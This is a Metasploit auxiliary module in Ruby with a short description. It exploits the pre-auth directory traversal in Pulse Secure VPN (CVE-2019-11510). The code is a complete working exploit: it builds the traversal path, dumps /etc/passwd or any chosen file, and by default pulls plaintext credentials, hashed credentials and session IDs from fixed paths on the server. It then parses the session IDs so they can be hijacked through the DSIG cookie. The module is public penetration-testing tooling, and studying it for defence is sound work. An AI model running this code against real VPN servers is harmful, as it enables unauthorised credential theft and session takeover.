This Metasploit module exploits a pre-auth directory traversal in the Pulse Secure VPN server to dump an arbitrary file. Dumped files are stored in loot. If the "Automatic" action is set, plaintext and hashed credentials, as well as session IDs, will be dumped. Valid sessions can be hijacked by setting the "DSIG" browser cookie to a valid session ID. For the "Manual" action, please specify a file to dump via the "FILE" option. /etc/passwd will be dumped by default. If the "PRINT" option is set, file contents will be printed to the screen, with any unprintable characters replaced by a period. Please see related module exploit/linux/http/pulse_secure_cmd_exec for a post-auth exploit that can leverage the results from this module.
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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Pulse Secure VPN Arbitrary File Disclosure',
'Description' => %q{
This module exploits a pre-auth directory traversal in the Pulse Secure
VPN server to dump an arbitrary file. Dumped files are stored in loot.
If the "Automatic" action is set, plaintext and hashed credentials, as
well as session IDs, will be dumped. Valid sessions can be hijacked by
setting the "DSIG" browser cookie to a valid session ID.
For the "Manual" action, please specify a file to dump via the "FILE"
option. /etc/passwd will be dumped by default. If the "PRINT" option is
set, file contents will be printed to the screen, with any unprintable
characters replaced by a period.
Please see related module exploit/linux/http/pulse_secure_cmd_exec for
a post-auth exploit that can leverage the results from this module.
},
'Author' => [
'Orange Tsai', # Discovery (@orange_8361)
'Meh Chang', # Discovery (@mehqq_)
'Alyssa Herrera', # PoC (@Alyssa_Herrera_)
'Justin Wagner', # Module (@0xDezzy)
'wvu' # Module
],
'References' => [
['CVE', '2019-11510'],
['URL', 'https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44101/'],
['URL', 'https://blog.orange.tw/2019/09/attacking-ssl-vpn-part-3-golden-pulse-secure-rce-chain.html'],
['URL', 'https://hackerone.com/reports/591295']
],
'DisclosureDate' => '2019-04-24', # Public disclosure
'License' => MSF_LICENSE,
'Actions' => [
['Automatic', 'Description' => 'Dump creds and sessions'],
['Manual', 'Description' => 'Dump an arbitrary file (FILE option)']
],
'DefaultAction' => 'Automatic',
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true,
'HttpClientTimeout' => 5 # This seems sane
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => [],
'RelatedModules' => ['exploit/linux/http/pulse_secure_cmd_exec']
}
))
register_options([
OptString.new(
'FILE',
[
true,
'File to dump (manual mode only)',
'/etc/passwd'
]
),
OptBool.new(
'PRINT',
[
false,
'Print file contents (manual mode only)',
true
]
)
])
end
def the_chosen_one
return datastore['FILE'], 'User-chosen file'
end
def run
files =
case action.name
when 'Automatic'
print_status('Running in automatic mode')
# Order by most sensitive first
[
plaintext_creds,
session_ids,
hashed_creds
]
when 'Manual'
print_status('Running in manual mode')
# /etc/passwd by default
[the_chosen_one]
end
files.each do |path, info|
print_status("Dumping #{path}")
res = send_request_cgi(
'method' => 'GET',
'uri' => dir_traversal(path),
'partial' => true # Allow partial response due to timeout
)
unless res
fail_with(Failure::Unreachable, "Could not dump #{path}")
end
handle_response(res, path, info)
end
end
def handle_response(res, path, info)
case res.code
when 200
case action.name
when 'Automatic'
# TODO: Parse plaintext and hashed creds
if path == session_ids.first
print_status('Parsing session IDs...')
parse_sids(res.body).each do |sid|
print_good("Session ID found: #{sid}")
end
end
when 'Manual'
printable = res.body.gsub(/[^[:print:][:space:]]/, '.')
print_line(printable) if datastore['PRINT']
end
print_good(store_loot(
self.name, # ltype
'application/octet-stream', # ctype
rhost, # host
res.body, # data
path, # filename
info # info
))
when 302
fail_with(Failure::NotVulnerable, "Redirected to #{res.redirection}")
when 400
print_error("Invalid path #{path}")
when 404
print_error("#{path} not found")
else
print_error("I don't know what a #{res.code} code is")
end
end
def dir_traversal(path)
normalize_uri(
'/dana-na/../dana/html5acc/guacamole/../../../../../..',
"#{path}?/dana/html5acc/guacamole/" # Bypass query/vars_get
)
end
def parse_sids(body)
body.to_s.scan(/randomVal([[:xdigit:]]+)/).flatten.reverse
end
def plaintext_creds
return '/data/runtime/mtmp/lmdb/dataa/data.mdb', 'Plaintext credentials'
end
def session_ids
return '/data/runtime/mtmp/lmdb/randomVal/data.mdb', 'Session IDs'
end
def hashed_creds
return '/data/runtime/mtmp/system', 'Hashed credentials'
end
end